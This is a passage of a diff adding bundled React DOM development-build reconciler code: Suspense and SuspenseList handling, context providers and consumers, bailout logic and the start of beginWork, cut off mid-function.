+        function updateSuspenseOffscreenState(prevOffscreenState, renderLanes2) {
+          var cachePool = null;
+          return {
+            baseLanes: mergeLanes(prevOffscreenState.baseLanes, renderLanes2),
+            cachePool,
+            transitions: prevOffscreenState.transitions
+          };
+        }
+        function shouldRemainOnFallback(suspenseContext, current2, workInProgress2, renderLanes2) {
+          if (current2 !== null) {
+            var suspenseState = current2.memoizedState;
+            if (suspenseState === null) {
+              return false;
+            }
+          }
+          return hasSuspenseContext(suspenseContext, ForceSuspenseFallback);
+        }
+        function getRemainingWorkInPrimaryTree(current2, renderLanes2) {
+          return removeLanes(current2.childLanes, renderLanes2);
+        }
+        function updateSuspenseComponent(current2, workInProgress2, renderLanes2) {
+          var nextProps = workInProgress2.pendingProps;
+          {
+            if (shouldSuspend(workInProgress2)) {
+              workInProgress2.flags |= DidCapture;
+            }
+          }
+          var suspenseContext = suspenseStackCursor.current;
+          var showFallback = false;
+          var didSuspend = (workInProgress2.flags & DidCapture) !== NoFlags;
+          if (didSuspend || shouldRemainOnFallback(suspenseContext, current2)) {
+            showFallback = true;
+            workInProgress2.flags &= ~DidCapture;
+          } else {
+            if (current2 === null || current2.memoizedState !== null) {
+              {
+                suspenseContext = addSubtreeSuspenseContext(suspenseContext, InvisibleParentSuspenseContext);
+              }
+            }
+          }
+          suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
+          pushSuspenseContext(workInProgress2, suspenseContext);
+          if (current2 === null) {
+            tryToClaimNextHydratableInstance(workInProgress2);
+            var suspenseState = workInProgress2.memoizedState;
+            if (suspenseState !== null) {
+              var dehydrated = suspenseState.dehydrated;
+              if (dehydrated !== null) {
+                return mountDehydratedSuspenseComponent(workInProgress2, dehydrated);
+              }
+            }
+            var nextPrimaryChildren = nextProps.children;
+            var nextFallbackChildren = nextProps.fallback;
+            if (showFallback) {
+              var fallbackFragment = mountSuspenseFallbackChildren(workInProgress2, nextPrimaryChildren, nextFallbackChildren, renderLanes2);
+              var primaryChildFragment = workInProgress2.child;
+              primaryChildFragment.memoizedState = mountSuspenseOffscreenState(renderLanes2);
+              workInProgress2.memoizedState = SUSPENDED_MARKER;
+              return fallbackFragment;
+            } else {
+              return mountSuspensePrimaryChildren(workInProgress2, nextPrimaryChildren);
+            }
+          } else {
+            var prevState = current2.memoizedState;
+            if (prevState !== null) {
+              var _dehydrated = prevState.dehydrated;
+              if (_dehydrated !== null) {
+                return updateDehydratedSuspenseComponent(current2, workInProgress2, didSuspend, nextProps, _dehydrated, prevState, renderLanes2);
+              }
+            }
+            if (showFallback) {
+              var _nextFallbackChildren = nextProps.fallback;
+              var _nextPrimaryChildren = nextProps.children;
+              var fallbackChildFragment = updateSuspenseFallbackChildren(current2, workInProgress2, _nextPrimaryChildren, _nextFallbackChildren, renderLanes2);
+              var _primaryChildFragment2 = workInProgress2.child;
+              var prevOffscreenState = current2.child.memoizedState;
+              _primaryChildFragment2.memoizedState = prevOffscreenState === null ? mountSuspenseOffscreenState(renderLanes2) : updateSuspenseOffscreenState(prevOffscreenState, renderLanes2);
+              _primaryChildFragment2.childLanes = getRemainingWorkInPrimaryTree(current2, renderLanes2);
+              workInProgress2.memoizedState = SUSPENDED_MARKER;
+              return fallbackChildFragment;
+            } else {
+              var _nextPrimaryChildren2 = nextProps.children;
+              var _primaryChildFragment3 = updateSuspensePrimaryChildren(current2, workInProgress2, _nextPrimaryChildren2, renderLanes2);
+              workInProgress2.memoizedState = null;
+              return _primaryChildFragment3;
+            }
+          }
+        }
+        function mountSuspensePrimaryChildren(workInProgress2, primaryChildren, renderLanes2) {
+          var mode = workInProgress2.mode;
+          var primaryChildProps = {
+            mode: "visible",
+            children: primaryChildren
+          };
+          var primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, mode);
+          primaryChildFragment.return = workInProgress2;
+          workInProgress2.child = primaryChildFragment;
+          return primaryChildFragment;
+        }
+        function mountSuspenseFallbackChildren(workInProgress2, primaryChildren, fallbackChildren, renderLanes2) {
+          var mode = workInProgress2.mode;
+          var progressedPrimaryFragment = workInProgress2.child;
+          var primaryChildProps = {
+            mode: "hidden",
+            children: primaryChildren
+          };
+          var primaryChildFragment;
+          var fallbackChildFragment;
+          if ((mode & ConcurrentMode) === NoMode && progressedPrimaryFragment !== null) {
+            primaryChildFragment = progressedPrimaryFragment;
+            primaryChildFragment.childLanes = NoLanes;
+            primaryChildFragment.pendingProps = primaryChildProps;
+            if (workInProgress2.mode & ProfileMode) {
+              primaryChildFragment.actualDuration = 0;
+              primaryChildFragment.actualStartTime = -1;
+              primaryChildFragment.selfBaseDuration = 0;
+              primaryChildFragment.treeBaseDuration = 0;
+            }
+            fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes2, null);
+          } else {
+            primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, mode);
+            fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes2, null);
+          }
+          primaryChildFragment.return = workInProgress2;
+          fallbackChildFragment.return = workInProgress2;
+          primaryChildFragment.sibling = fallbackChildFragment;
+          workInProgress2.child = primaryChildFragment;
+          return fallbackChildFragment;
+        }
+        function mountWorkInProgressOffscreenFiber(offscreenProps, mode, renderLanes2) {
+          return createFiberFromOffscreen(offscreenProps, mode, NoLanes, null);
+        }
+        function updateWorkInProgressOffscreenFiber(current2, offscreenProps) {
+          return createWorkInProgress(current2, offscreenProps);
+        }
+        function updateSuspensePrimaryChildren(current2, workInProgress2, primaryChildren, renderLanes2) {
+          var currentPrimaryChildFragment = current2.child;
+          var currentFallbackChildFragment = currentPrimaryChildFragment.sibling;
+          var primaryChildFragment = updateWorkInProgressOffscreenFiber(currentPrimaryChildFragment, {
+            mode: "visible",
+            children: primaryChildren
+          });
+          if ((workInProgress2.mode & ConcurrentMode) === NoMode) {
+            primaryChildFragment.lanes = renderLanes2;
+          }
+          primaryChildFragment.return = workInProgress2;
+          primaryChildFragment.sibling = null;
+          if (currentFallbackChildFragment !== null) {
+            var deletions = workInProgress2.deletions;
+            if (deletions === null) {
+              workInProgress2.deletions = [currentFallbackChildFragment];
+              workInProgress2.flags |= ChildDeletion;
+            } else {
+              deletions.push(currentFallbackChildFragment);
+            }
+          }
+          workInProgress2.child = primaryChildFragment;
+          return primaryChildFragment;
+        }
+        function updateSuspenseFallbackChildren(current2, workInProgress2, primaryChildren, fallbackChildren, renderLanes2) {
+          var mode = workInProgress2.mode;
+          var currentPrimaryChildFragment = current2.child;
+          var currentFallbackChildFragment = currentPrimaryChildFragment.sibling;
+          var primaryChildProps = {
+            mode: "hidden",
+            children: primaryChildren
+          };
+          var primaryChildFragment;
+          if ((mode & ConcurrentMode) === NoMode && workInProgress2.child !== currentPrimaryChildFragment) {
+            var progressedPrimaryFragment = workInProgress2.child;
+            primaryChildFragment = progressedPrimaryFragment;
+            primaryChildFragment.childLanes = NoLanes;
+            primaryChildFragment.pendingProps = primaryChildProps;
+            if (workInProgress2.mode & ProfileMode) {
+              primaryChildFragment.actualDuration = 0;
+              primaryChildFragment.actualStartTime = -1;
+              primaryChildFragment.selfBaseDuration = currentPrimaryChildFragment.selfBaseDuration;
+              primaryChildFragment.treeBaseDuration = currentPrimaryChildFragment.treeBaseDuration;
+            }
+            workInProgress2.deletions = null;
+          } else {
+            primaryChildFragment = updateWorkInProgressOffscreenFiber(currentPrimaryChildFragment, primaryChildProps);
+            primaryChildFragment.subtreeFlags = currentPrimaryChildFragment.subtreeFlags & StaticMask;
+          }
+          var fallbackChildFragment;
+          if (currentFallbackChildFragment !== null) {
+            fallbackChildFragment = createWorkInProgress(currentFallbackChildFragment, fallbackChildren);
+          } else {
+            fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes2, null);
+            fallbackChildFragment.flags |= Placement;
+          }
+          fallbackChildFragment.return = workInProgress2;
+          primaryChildFragment.return = workInProgress2;
+          primaryChildFragment.sibling = fallbackChildFragment;
+          workInProgress2.child = primaryChildFragment;
+          return fallbackChildFragment;
+        }
+        function retrySuspenseComponentWithoutHydrating(current2, workInProgress2, renderLanes2, recoverableError) {
+          if (recoverableError !== null) {
+            queueHydrationError(recoverableError);
+          }
+          reconcileChildFibers(workInProgress2, current2.child, null, renderLanes2);
+          var nextProps = workInProgress2.pendingProps;
+          var primaryChildren = nextProps.children;
+          var primaryChildFragment = mountSuspensePrimaryChildren(workInProgress2, primaryChildren);
+          primaryChildFragment.flags |= Placement;
+          workInProgress2.memoizedState = null;
+          return primaryChildFragment;
+        }
+        function mountSuspenseFallbackAfterRetryWithoutHydrating(current2, workInProgress2, primaryChildren, fallbackChildren, renderLanes2) {
+          var fiberMode = workInProgress2.mode;
+          var primaryChildProps = {
+            mode: "visible",
+            children: primaryChildren
+          };
+          var primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, fiberMode);
+          var fallbackChildFragment = createFiberFromFragment(fallbackChildren, fiberMode, renderLanes2, null);
+          fallbackChildFragment.flags |= Placement;
+          primaryChildFragment.return = workInProgress2;
+          fallbackChildFragment.return = workInProgress2;
+          primaryChildFragment.sibling = fallbackChildFragment;
+          workInProgress2.child = primaryChildFragment;
+          if ((workInProgress2.mode & ConcurrentMode) !== NoMode) {
+            reconcileChildFibers(workInProgress2, current2.child, null, renderLanes2);
+          }
+          return fallbackChildFragment;
+        }
+        function mountDehydratedSuspenseComponent(workInProgress2, suspenseInstance, renderLanes2) {
+          if ((workInProgress2.mode & ConcurrentMode) === NoMode) {
+            {
+              error("Cannot hydrate Suspense in legacy mode. Switch from ReactDOM.hydrate(element, container) to ReactDOMClient.hydrateRoot(container, <App />).render(element) or remove the Suspense components from the server rendered components.");
+            }
+            workInProgress2.lanes = laneToLanes(SyncLane);
+          } else if (isSuspenseInstanceFallback(suspenseInstance)) {
+            workInProgress2.lanes = laneToLanes(DefaultHydrationLane);
+          } else {
+            workInProgress2.lanes = laneToLanes(OffscreenLane);
+          }
+          return null;
+        }
+        function updateDehydratedSuspenseComponent(current2, workInProgress2, didSuspend, nextProps, suspenseInstance, suspenseState, renderLanes2) {
+          if (!didSuspend) {
+            warnIfHydrating();
+            if ((workInProgress2.mode & ConcurrentMode) === NoMode) {
+              return retrySuspenseComponentWithoutHydrating(current2, workInProgress2, renderLanes2, null);
+            }
+            if (isSuspenseInstanceFallback(suspenseInstance)) {
+              var digest, message, stack;
+              {
+                var _getSuspenseInstanceF = getSuspenseInstanceFallbackErrorDetails(suspenseInstance);
+                digest = _getSuspenseInstanceF.digest;
+                message = _getSuspenseInstanceF.message;
+                stack = _getSuspenseInstanceF.stack;
+              }
+              var error2;
+              if (message) {
+                error2 = new Error(message);
+              } else {
+                error2 = new Error("The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.");
+              }
+              var capturedValue = createCapturedValue(error2, digest, stack);
+              return retrySuspenseComponentWithoutHydrating(current2, workInProgress2, renderLanes2, capturedValue);
+            }
+            var hasContextChanged2 = includesSomeLane(renderLanes2, current2.childLanes);
+            if (didReceiveUpdate || hasContextChanged2) {
+              var root2 = getWorkInProgressRoot();
+              if (root2 !== null) {
+                var attemptHydrationAtLane = getBumpedLaneForHydration(root2, renderLanes2);
+                if (attemptHydrationAtLane !== NoLane && attemptHydrationAtLane !== suspenseState.retryLane) {
+                  suspenseState.retryLane = attemptHydrationAtLane;
+                  var eventTime = NoTimestamp;
+                  enqueueConcurrentRenderForLane(current2, attemptHydrationAtLane);
+                  scheduleUpdateOnFiber(root2, current2, attemptHydrationAtLane, eventTime);
+                }
+              }
+              renderDidSuspendDelayIfPossible();
+              var _capturedValue = createCapturedValue(new Error("This Suspense boundary received an update before it finished hydrating. This caused the boundary to switch to client rendering. The usual way to fix this is to wrap the original update in startTransition."));
+              return retrySuspenseComponentWithoutHydrating(current2, workInProgress2, renderLanes2, _capturedValue);
+            } else if (isSuspenseInstancePending(suspenseInstance)) {
+              workInProgress2.flags |= DidCapture;
+              workInProgress2.child = current2.child;
+              var retry = retryDehydratedSuspenseBoundary.bind(null, current2);
+              registerSuspenseInstanceRetry(suspenseInstance, retry);
+              return null;
+            } else {
+              reenterHydrationStateFromDehydratedSuspenseInstance(workInProgress2, suspenseInstance, suspenseState.treeContext);
+              var primaryChildren = nextProps.children;
+              var primaryChildFragment = mountSuspensePrimaryChildren(workInProgress2, primaryChildren);
+              primaryChildFragment.flags |= Hydrating;
+              return primaryChildFragment;
+            }
+          } else {
+            if (workInProgress2.flags & ForceClientRender) {
+              workInProgress2.flags &= ~ForceClientRender;
+              var _capturedValue2 = createCapturedValue(new Error("There was an error while hydrating this Suspense boundary. Switched to client rendering."));
+              return retrySuspenseComponentWithoutHydrating(current2, workInProgress2, renderLanes2, _capturedValue2);
+            } else if (workInProgress2.memoizedState !== null) {
+              workInProgress2.child = current2.child;
+              workInProgress2.flags |= DidCapture;
+              return null;
+            } else {
+              var nextPrimaryChildren = nextProps.children;
+              var nextFallbackChildren = nextProps.fallback;
+              var fallbackChildFragment = mountSuspenseFallbackAfterRetryWithoutHydrating(current2, workInProgress2, nextPrimaryChildren, nextFallbackChildren, renderLanes2);
+              var _primaryChildFragment4 = workInProgress2.child;
+              _primaryChildFragment4.memoizedState = mountSuspenseOffscreenState(renderLanes2);
+              workInProgress2.memoizedState = SUSPENDED_MARKER;
+              return fallbackChildFragment;
+            }
+          }
+        }
+        function scheduleSuspenseWorkOnFiber(fiber, renderLanes2, propagationRoot) {
+          fiber.lanes = mergeLanes(fiber.lanes, renderLanes2);
+          var alternate = fiber.alternate;
+          if (alternate !== null) {
+            alternate.lanes = mergeLanes(alternate.lanes, renderLanes2);
+          }
+          scheduleContextWorkOnParentPath(fiber.return, renderLanes2, propagationRoot);
+        }
+        function propagateSuspenseContextChange(workInProgress2, firstChild, renderLanes2) {
+          var node = firstChild;
+          while (node !== null) {
+            if (node.tag === SuspenseComponent) {
+              var state = node.memoizedState;
+              if (state !== null) {
+                scheduleSuspenseWorkOnFiber(node, renderLanes2, workInProgress2);
+              }
+            } else if (node.tag === SuspenseListComponent) {
+              scheduleSuspenseWorkOnFiber(node, renderLanes2, workInProgress2);
+            } else if (node.child !== null) {
+              node.child.return = node;
+              node = node.child;
+              continue;
+            }
+            if (node === workInProgress2) {
+              return;
+            }
+            while (node.sibling === null) {
+              if (node.return === null || node.return === workInProgress2) {
+                return;
+              }
+              node = node.return;
+            }
+            node.sibling.return = node.return;
+            node = node.sibling;
+          }
+        }
+        function findLastContentRow(firstChild) {
+          var row = firstChild;
+          var lastContentRow = null;
+          while (row !== null) {
+            var currentRow = row.alternate;
+            if (currentRow !== null && findFirstSuspended(currentRow) === null) {
+              lastContentRow = row;
+            }
+            row = row.sibling;
+          }
+          return lastContentRow;
+        }
+        function validateRevealOrder(revealOrder) {
+          {
+            if (revealOrder !== void 0 && revealOrder !== "forwards" && revealOrder !== "backwards" && revealOrder !== "together" && !didWarnAboutRevealOrder[revealOrder]) {
+              didWarnAboutRevealOrder[revealOrder] = true;
+              if (typeof revealOrder === "string") {
+                switch (revealOrder.toLowerCase()) {
+                  case "together":
+                  case "forwards":
+                  case "backwards": {
+                    error('"%s" is not a valid value for revealOrder on <SuspenseList />. Use lowercase "%s" instead.', revealOrder, revealOrder.toLowerCase());
+                    break;
+                  }
+                  case "forward":
+                  case "backward": {
+                    error('"%s" is not a valid value for revealOrder on <SuspenseList />. React uses the -s suffix in the spelling. Use "%ss" instead.', revealOrder, revealOrder.toLowerCase());
+                    break;
+                  }
+                  default:
+                    error('"%s" is not a supported revealOrder on <SuspenseList />. Did you mean "together", "forwards" or "backwards"?', revealOrder);
+                    break;
+                }
+              } else {
+                error('%s is not a supported value for revealOrder on <SuspenseList />. Did you mean "together", "forwards" or "backwards"?', revealOrder);
+              }
+            }
+          }
+        }
+        function validateTailOptions(tailMode, revealOrder) {
+          {
+            if (tailMode !== void 0 && !didWarnAboutTailOptions[tailMode]) {
+              if (tailMode !== "collapsed" && tailMode !== "hidden") {
+                didWarnAboutTailOptions[tailMode] = true;
+                error('"%s" is not a supported value for tail on <SuspenseList />. Did you mean "collapsed" or "hidden"?', tailMode);
+              } else if (revealOrder !== "forwards" && revealOrder !== "backwards") {
+                didWarnAboutTailOptions[tailMode] = true;
+                error('<SuspenseList tail="%s" /> is only valid if revealOrder is "forwards" or "backwards". Did you mean to specify revealOrder="forwards"?', tailMode);
+              }
+            }
+          }
+        }
+        function validateSuspenseListNestedChild(childSlot, index2) {
+          {
+            var isAnArray = isArray(childSlot);
+            var isIterable = !isAnArray && typeof getIteratorFn(childSlot) === "function";
+            if (isAnArray || isIterable) {
+              var type = isAnArray ? "array" : "iterable";
+              error("A nested %s was passed to row #%s in <SuspenseList />. Wrap it in an additional SuspenseList to configure its revealOrder: <SuspenseList revealOrder=...> ... <SuspenseList revealOrder=...>{%s}</SuspenseList> ... </SuspenseList>", type, index2, type);
+              return false;
+            }
+          }
+          return true;
+        }
+        function validateSuspenseListChildren(children, revealOrder) {
+          {
+            if ((revealOrder === "forwards" || revealOrder === "backwards") && children !== void 0 && children !== null && children !== false) {
+              if (isArray(children)) {
+                for (var i2 = 0; i2 < children.length; i2++) {
+                  if (!validateSuspenseListNestedChild(children[i2], i2)) {
+                    return;
+                  }
+                }
+              } else {
+                var iteratorFn = getIteratorFn(children);
+                if (typeof iteratorFn === "function") {
+                  var childrenIterator = iteratorFn.call(children);
+                  if (childrenIterator) {
+                    var step = childrenIterator.next();
+                    var _i = 0;
+                    for (; !step.done; step = childrenIterator.next()) {
+                      if (!validateSuspenseListNestedChild(step.value, _i)) {
+                        return;
+                      }
+                      _i++;
+                    }
+                  }
+                } else {
+                  error('A single row was passed to a <SuspenseList revealOrder="%s" />. This is not useful since it needs multiple rows. Did you mean to pass multiple children or an array?', revealOrder);
+                }
+              }
+            }
+          }
+        }
+        function initSuspenseListRenderState(workInProgress2, isBackwards, tail, lastContentRow, tailMode) {
+          var renderState = workInProgress2.memoizedState;
+          if (renderState === null) {
+            workInProgress2.memoizedState = {
+              isBackwards,
+              rendering: null,
+              renderingStartTime: 0,
+              last: lastContentRow,
+              tail,
+              tailMode
+            };
+          } else {
+            renderState.isBackwards = isBackwards;
+            renderState.rendering = null;
+            renderState.renderingStartTime = 0;
+            renderState.last = lastContentRow;
+            renderState.tail = tail;
+            renderState.tailMode = tailMode;
+          }
+        }
+        function updateSuspenseListComponent(current2, workInProgress2, renderLanes2) {
+          var nextProps = workInProgress2.pendingProps;
+          var revealOrder = nextProps.revealOrder;
+          var tailMode = nextProps.tail;
+          var newChildren = nextProps.children;
+          validateRevealOrder(revealOrder);
+          validateTailOptions(tailMode, revealOrder);
+          validateSuspenseListChildren(newChildren, revealOrder);
+          reconcileChildren(current2, workInProgress2, newChildren, renderLanes2);
+          var suspenseContext = suspenseStackCursor.current;
+          var shouldForceFallback = hasSuspenseContext(suspenseContext, ForceSuspenseFallback);
+          if (shouldForceFallback) {
+            suspenseContext = setShallowSuspenseContext(suspenseContext, ForceSuspenseFallback);
+            workInProgress2.flags |= DidCapture;
+          } else {
+            var didSuspendBefore = current2 !== null && (current2.flags & DidCapture) !== NoFlags;
+            if (didSuspendBefore) {
+              propagateSuspenseContextChange(workInProgress2, workInProgress2.child, renderLanes2);
+            }
+            suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
+          }
+          pushSuspenseContext(workInProgress2, suspenseContext);
+          if ((workInProgress2.mode & ConcurrentMode) === NoMode) {
+            workInProgress2.memoizedState = null;
+          } else {
+            switch (revealOrder) {
+              case "forwards": {
+                var lastContentRow = findLastContentRow(workInProgress2.child);
+                var tail;
+                if (lastContentRow === null) {
+                  tail = workInProgress2.child;
+                  workInProgress2.child = null;
+                } else {
+                  tail = lastContentRow.sibling;
+                  lastContentRow.sibling = null;
+                }
+                initSuspenseListRenderState(workInProgress2, false, tail, lastContentRow, tailMode);
+                break;
+              }
+              case "backwards": {
+                var _tail = null;
+                var row = workInProgress2.child;
+                workInProgress2.child = null;
+                while (row !== null) {
+                  var currentRow = row.alternate;
+                  if (currentRow !== null && findFirstSuspended(currentRow) === null) {
+                    workInProgress2.child = row;
+                    break;
+                  }
+                  var nextRow = row.sibling;
+                  row.sibling = _tail;
+                  _tail = row;
+                  row = nextRow;
+                }
+                initSuspenseListRenderState(workInProgress2, true, _tail, null, tailMode);
+                break;
+              }
+              case "together": {
+                initSuspenseListRenderState(workInProgress2, false, null, null, void 0);
+                break;
+              }
+              default: {
+                workInProgress2.memoizedState = null;
+              }
+            }
+          }
+          return workInProgress2.child;
+        }
+        function updatePortalComponent(current2, workInProgress2, renderLanes2) {
+          pushHostContainer(workInProgress2, workInProgress2.stateNode.containerInfo);
+          var nextChildren = workInProgress2.pendingProps;
+          if (current2 === null) {
+            workInProgress2.child = reconcileChildFibers(workInProgress2, null, nextChildren, renderLanes2);
+          } else {
+            reconcileChildren(current2, workInProgress2, nextChildren, renderLanes2);
+          }
+          return workInProgress2.child;
+        }
+        var hasWarnedAboutUsingNoValuePropOnContextProvider = false;
+        function updateContextProvider(current2, workInProgress2, renderLanes2) {
+          var providerType = workInProgress2.type;
+          var context = providerType._context;
+          var newProps = workInProgress2.pendingProps;
+          var oldProps = workInProgress2.memoizedProps;
+          var newValue = newProps.value;
+          {
+            if (!("value" in newProps)) {
+              if (!hasWarnedAboutUsingNoValuePropOnContextProvider) {
+                hasWarnedAboutUsingNoValuePropOnContextProvider = true;
+                error("The `value` prop is required for the `<Context.Provider>`. Did you misspell it or forget to pass it?");
+              }
+            }
+            var providerPropTypes = workInProgress2.type.propTypes;
+            if (providerPropTypes) {
+              checkPropTypes(providerPropTypes, newProps, "prop", "Context.Provider");
+            }
+          }
+          pushProvider(workInProgress2, context, newValue);
+          {
+            if (oldProps !== null) {
+              var oldValue = oldProps.value;
+              if (objectIs(oldValue, newValue)) {
+                if (oldProps.children === newProps.children && !hasContextChanged()) {
+                  return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+                }
+              } else {
+                propagateContextChange(workInProgress2, context, renderLanes2);
+              }
+            }
+          }
+          var newChildren = newProps.children;
+          reconcileChildren(current2, workInProgress2, newChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        var hasWarnedAboutUsingContextAsConsumer = false;
+        function updateContextConsumer(current2, workInProgress2, renderLanes2) {
+          var context = workInProgress2.type;
+          {
+            if (context._context === void 0) {
+              if (context !== context.Consumer) {
+                if (!hasWarnedAboutUsingContextAsConsumer) {
+                  hasWarnedAboutUsingContextAsConsumer = true;
+                  error("Rendering <Context> directly is not supported and will be removed in a future major release. Did you mean to render <Context.Consumer> instead?");
+                }
+              }
+            } else {
+              context = context._context;
+            }
+          }
+          var newProps = workInProgress2.pendingProps;
+          var render2 = newProps.children;
+          {
+            if (typeof render2 !== "function") {
+              error("A context consumer was rendered with multiple children, or a child that isn't a function. A context consumer expects a single child that is a function. If you did pass a function, make sure there is no trailing or leading whitespace around it.");
+            }
+          }
+          prepareToReadContext(workInProgress2, renderLanes2);
+          var newValue = readContext(context);
+          {
+            markComponentRenderStarted(workInProgress2);
+          }
+          var newChildren;
+          {
+            ReactCurrentOwner$1.current = workInProgress2;
+            setIsRendering(true);
+            newChildren = render2(newValue);
+            setIsRendering(false);
+          }
+          {
+            markComponentRenderStopped();
+          }
+          workInProgress2.flags |= PerformedWork;
+          reconcileChildren(current2, workInProgress2, newChildren, renderLanes2);
+          return workInProgress2.child;
+        }
+        function markWorkInProgressReceivedUpdate() {
+          didReceiveUpdate = true;
+        }
+        function resetSuspendedCurrentOnMountInLegacyMode(current2, workInProgress2) {
+          if ((workInProgress2.mode & ConcurrentMode) === NoMode) {
+            if (current2 !== null) {
+              current2.alternate = null;
+              workInProgress2.alternate = null;
+              workInProgress2.flags |= Placement;
+            }
+          }
+        }
+        function bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2) {
+          if (current2 !== null) {
+            workInProgress2.dependencies = current2.dependencies;
+          }
+          {
+            stopProfilerTimerIfRunning();
+          }
+          markSkippedUpdateLanes(workInProgress2.lanes);
+          if (!includesSomeLane(renderLanes2, workInProgress2.childLanes)) {
+            {
+              return null;
+            }
+          }
+          cloneChildFibers(current2, workInProgress2);
+          return workInProgress2.child;
+        }
+        function remountFiber(current2, oldWorkInProgress, newWorkInProgress) {
+          {
+            var returnFiber = oldWorkInProgress.return;
+            if (returnFiber === null) {
+              throw new Error("Cannot swap the root fiber.");
+            }
+            current2.alternate = null;
+            oldWorkInProgress.alternate = null;
+            newWorkInProgress.index = oldWorkInProgress.index;
+            newWorkInProgress.sibling = oldWorkInProgress.sibling;
+            newWorkInProgress.return = oldWorkInProgress.return;
+            newWorkInProgress.ref = oldWorkInProgress.ref;
+            if (oldWorkInProgress === returnFiber.child) {
+              returnFiber.child = newWorkInProgress;
+            } else {
+              var prevSibling = returnFiber.child;
+              if (prevSibling === null) {
+                throw new Error("Expected parent to have a child.");
+              }
+              while (prevSibling.sibling !== oldWorkInProgress) {
+                prevSibling = prevSibling.sibling;
+                if (prevSibling === null) {
+                  throw new Error("Expected to find the previous sibling.");
+                }
+              }
+              prevSibling.sibling = newWorkInProgress;
+            }
+            var deletions = returnFiber.deletions;
+            if (deletions === null) {
+              returnFiber.deletions = [current2];
+              returnFiber.flags |= ChildDeletion;
+            } else {
+              deletions.push(current2);
+            }
+            newWorkInProgress.flags |= Placement;
+            return newWorkInProgress;
+          }
+        }
+        function checkScheduledUpdateOrContext(current2, renderLanes2) {
+          var updateLanes = current2.lanes;
+          if (includesSomeLane(updateLanes, renderLanes2)) {
+            return true;
+          }
+          return false;
+        }
+        function attemptEarlyBailoutIfNoScheduledUpdate(current2, workInProgress2, renderLanes2) {
+          switch (workInProgress2.tag) {
+            case HostRoot:
+              pushHostRootContext(workInProgress2);
+              var root2 = workInProgress2.stateNode;
+              resetHydrationState();
+              break;
+            case HostComponent:
+              pushHostContext(workInProgress2);
+              break;
+            case ClassComponent: {
+              var Component = workInProgress2.type;
+              if (isContextProvider(Component)) {
+                pushContextProvider(workInProgress2);
+              }
+              break;
+            }
+            case HostPortal:
+              pushHostContainer(workInProgress2, workInProgress2.stateNode.containerInfo);
+              break;
+            case ContextProvider: {
+              var newValue = workInProgress2.memoizedProps.value;
+              var context = workInProgress2.type._context;
+              pushProvider(workInProgress2, context, newValue);
+              break;
+            }
+            case Profiler:
+              {
+                var hasChildWork = includesSomeLane(renderLanes2, workInProgress2.childLanes);
+                if (hasChildWork) {
+                  workInProgress2.flags |= Update;
+                }
+                {
+                  var stateNode = workInProgress2.stateNode;
+                  stateNode.effectDuration = 0;
+                  stateNode.passiveEffectDuration = 0;
+                }
+              }
+              break;
+            case SuspenseComponent: {
+              var state = workInProgress2.memoizedState;
+              if (state !== null) {
+                if (state.dehydrated !== null) {
+                  pushSuspenseContext(workInProgress2, setDefaultShallowSuspenseContext(suspenseStackCursor.current));
+                  workInProgress2.flags |= DidCapture;
+                  return null;
+                }
+                var primaryChildFragment = workInProgress2.child;
+                var primaryChildLanes = primaryChildFragment.childLanes;
+                if (includesSomeLane(renderLanes2, primaryChildLanes)) {
+                  return updateSuspenseComponent(current2, workInProgress2, renderLanes2);
+                } else {
+                  pushSuspenseContext(workInProgress2, setDefaultShallowSuspenseContext(suspenseStackCursor.current));
+                  var child = bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+                  if (child !== null) {
+                    return child.sibling;
+                  } else {
+                    return null;
+                  }
+                }
+              } else {
+                pushSuspenseContext(workInProgress2, setDefaultShallowSuspenseContext(suspenseStackCursor.current));
+              }
+              break;
+            }
+            case SuspenseListComponent: {
+              var didSuspendBefore = (current2.flags & DidCapture) !== NoFlags;
+              var _hasChildWork = includesSomeLane(renderLanes2, workInProgress2.childLanes);
+              if (didSuspendBefore) {
+                if (_hasChildWork) {
+                  return updateSuspenseListComponent(current2, workInProgress2, renderLanes2);
+                }
+                workInProgress2.flags |= DidCapture;
+              }
+              var renderState = workInProgress2.memoizedState;
+              if (renderState !== null) {
+                renderState.rendering = null;
+                renderState.tail = null;
+                renderState.lastEffect = null;
+              }
+              pushSuspenseContext(workInProgress2, suspenseStackCursor.current);
+              if (_hasChildWork) {
+                break;
+              } else {
+                return null;
+              }
+            }
+            case OffscreenComponent:
+            case LegacyHiddenComponent: {
+              workInProgress2.lanes = NoLanes;
+              return updateOffscreenComponent(current2, workInProgress2, renderLanes2);
+            }
+          }
+          return bailoutOnAlreadyFinishedWork(current2, workInProgress2, renderLanes2);
+        }
+        function beginWork(current2, workInProgress2, renderLanes2) {
+          {
+            if (workInProgress2._debugNeedsRemount && current2 !== null) {
+              return remountFiber(current2, workInProgress2, createFiberFromTypeAndProps(workInProgress2.type, workInProgress2.key, workInProgress2.pendingProps, workInProgress2._debugOwner || null, workInProgress2.mode, workInProgress2.lanes));
+            }
+          }
+          if (current2 !== null) {
+            var oldProps = current2.memoizedProps;
+            var newProps = workInProgress2.pendingProps;
+            if (oldProps !== newProps || hasContextChanged() || workInProgress2.type !== current2.type) {
+              didReceiveUpdate = true;
+            } else {
+              var hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(current2, renderLanes2);
+              if (!hasScheduledUpdateOrContext && (workInProgress2.flags & DidCapture) === NoFlags) {
+                didReceiveUpdate = false;
+                return attemptEarlyBailoutIfNoScheduledUpdate(current2, workInProgress2, renderLanes2);
+              }
+              if ((current2.flags & ForceUpdateForLegacySuspense) !== NoFlags) {
+                didReceiveUpdate = true;
+              } else {
+                didReceiveUpdate = false;
+              }
+            }
+          } else {
+            didReceiveUpdate = false;
+            if (getIsHydrating() && isForkedChild(workInProgress2)) {
+              var slotIndex = workInProgress2.index;
+              var numberOfForks = getForksAtLevel();
